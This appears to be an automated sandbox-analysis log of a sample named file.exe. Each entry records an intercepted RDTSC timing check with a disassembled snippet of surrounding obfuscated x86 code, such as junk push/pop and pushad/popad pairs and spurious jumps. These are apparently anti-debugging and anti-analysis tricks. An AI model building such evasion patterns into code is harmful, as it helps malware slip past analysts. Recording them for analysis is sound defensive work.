Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD81B9 second address: AD81C3 instructions: 0x00000000 rdtsc 0x00000002 je 00007F176910EABCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD84D6 second address: AD84E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD84E0 second address: AD84E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD84E4 second address: AD84E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB4C7 second address: ADB4CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A95DD3 second address: A95DF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jns 00007F1768C9AD26h 0x0000000d pop esi 0x0000000e push eax 0x0000000f jmp 00007F1768C9AD2Bh 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jo 00007F1768C9AD26h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A95DF8 second address: A95DFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDAD7 second address: ADDADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDADB second address: ADDAE5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F176910EAB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDAE5 second address: ADDAEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDAEC second address: ADDAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDAF8 second address: ADDB15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1768C9AD30h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F1768C9AD26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE9C7 second address: ADE9CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDC79 second address: ADDC7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE9CE second address: ADE9D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F176910EAB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDC7F second address: ADDC83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE9D8 second address: ADEA61 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F176910EAB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e jg 00007F176910EABCh 0x00000014 pop ebx 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F176910EAB8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov dword ptr [ebp+122D339Dh], ebx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007F176910EAB8h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 call 00007F176910EABAh 0x00000057 mov dword ptr [ebp+122D32DDh], edx 0x0000005d pop edi 0x0000005e jno 00007F176910EAB7h 0x00000064 push 00000000h 0x00000066 clc 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d pop eax 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADEA61 second address: ADEA7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1768C9AD37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADEB9B second address: ADEBA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADEC81 second address: ADEC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFBF6 second address: ADFBFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFBFC second address: ADFC06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F1768C9AD26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFC06 second address: ADFC2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176910EAC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f js 00007F176910EAB6h 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFCDB second address: ADFCE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFCE0 second address: ADFCE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFCE6 second address: ADFCEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0C9C second address: AE0CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE489B second address: AE48B4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1768C9AD28h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 je 00007F1768C9AD26h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE48B4 second address: AE48BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE3A61 second address: AE3A88 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1768C9AD26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1768C9AD34h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE57D3 second address: AE57DD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F176910EAB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA8B5 second address: AEA8B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA8B9 second address: AEA8BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA8BF second address: AEA8DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1768C9AD39h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA8DC second address: AEA93C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F176910EAC2h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F176910EAB8h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 movzx edi, cx 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f movsx edi, dx 0x00000032 pop ebx 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 mov dword ptr [ebp+122D2F9Dh], eax 0x0000003c pop edi 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F176910EABCh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE69FF second address: AE6A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7923 second address: AE7927 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7927 second address: AE7931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7931 second address: AE7935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE89F3 second address: AE89FD instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1768C9AD26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE89FD second address: AE8A07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F176910EAB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE8A07 second address: AE8A31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1768C9AD35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F1768C9AD2Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4A8A second address: AE4A95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F176910EAB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE594E second address: AE5966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1768C9AD34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5966 second address: AE596A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEAA5E second address: AEAA64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8BB6E second address: A8BB72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0481 second address: AF0485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0485 second address: AF04AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F176910EAC9h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF04AA second address: AF04B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnl 00007F1768C9AD26h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF04B8 second address: AF04BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF04BD second address: AF04C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF04C3 second address: AF04D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F176910EAC1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDF49 second address: AFDF64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1768C9AD32h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDF64 second address: AFDF6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDF6A second address: AFDF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F1768C9AD28h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jnp 00007F1768C9AD44h 0x00000014 push eax 0x00000015 push edx 0x00000016 js 00007F1768C9AD26h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDF88 second address: AFDF8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF524 second address: AFF528 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF528 second address: AFF552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d js 00007F176910EAD3h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F176910EAC5h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00B24 second address: B00B2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00B2A second address: B00B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b jmp 00007F176910EABAh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04CD9 second address: B04CF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F1768C9AD26h 0x00000010 jmp 00007F1768C9AD2Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B058A4 second address: B058AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B058AF second address: B058B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0A028 second address: B0A02E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0A02E second address: B0A041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jo 00007F1768C9AD26h 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0A041 second address: B0A050 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F176910EAB8h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1E5A second address: AD1E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1E5E second address: AB8AD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176910EABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b adc ecx, 18345C7Fh 0x00000011 call dword ptr [ebp+122D2E05h] 0x00000017 jbe 00007F176910EAD0h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD260B second address: AD260F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD260F second address: AD2615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2615 second address: AD2675 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F1768C9AD26h 0x00000009 jmp 00007F1768C9AD2Bh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push esi 0x00000016 pushad 0x00000017 jmp 00007F1768C9AD34h 0x0000001c js 00007F1768C9AD26h 0x00000022 popad 0x00000023 pop esi 0x00000024 mov eax, dword ptr [eax] 0x00000026 je 00007F1768C9AD3Dh 0x0000002c pushad 0x0000002d jmp 00007F1768C9AD33h 0x00000032 pushad 0x00000033 popad 0x00000034 popad 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 pushad 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2675 second address: AD2691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007F176910EAC4h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB9634 second address: AB963A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09783 second address: B09787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09787 second address: B09796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007F1768C9AD26h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09796 second address: B0979C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0979C second address: B097A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09A67 second address: B09A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F176910EAB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09A72 second address: B09A77 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09A77 second address: B09A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09A7D second address: B09AA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 je 00007F1768C9AD28h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 jng 00007F1768C9AD2Eh 0x0000001a pushad 0x0000001b popad 0x0000001c jnc 00007F1768C9AD26h 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09BE6 second address: B09C2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F176910EAC4h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F176910EAC0h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F176910EAC8h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09C2F second address: B09C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09C33 second address: B09C39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0CEE2 second address: B0CEE8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B167AB second address: B167B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15739 second address: B1573D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B158B7 second address: B158BD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15C56 second address: B15C66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1768C9AD2Ah 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15C66 second address: B15C6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15EF8 second address: B15F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1607F second address: B16092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F176910EAB6h 0x0000000a pushad 0x0000000b popad 0x0000000c js 00007F176910EAB6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16092 second address: B16097 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16097 second address: B160C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F176910EAB6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F176910EAB6h 0x00000013 jmp 00007F176910EAC7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B160C1 second address: B160C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16604 second address: B16608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16608 second address: B16616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 js 00007F1768C9AD26h 0x0000000d pop edx 0x0000000e rdtsc
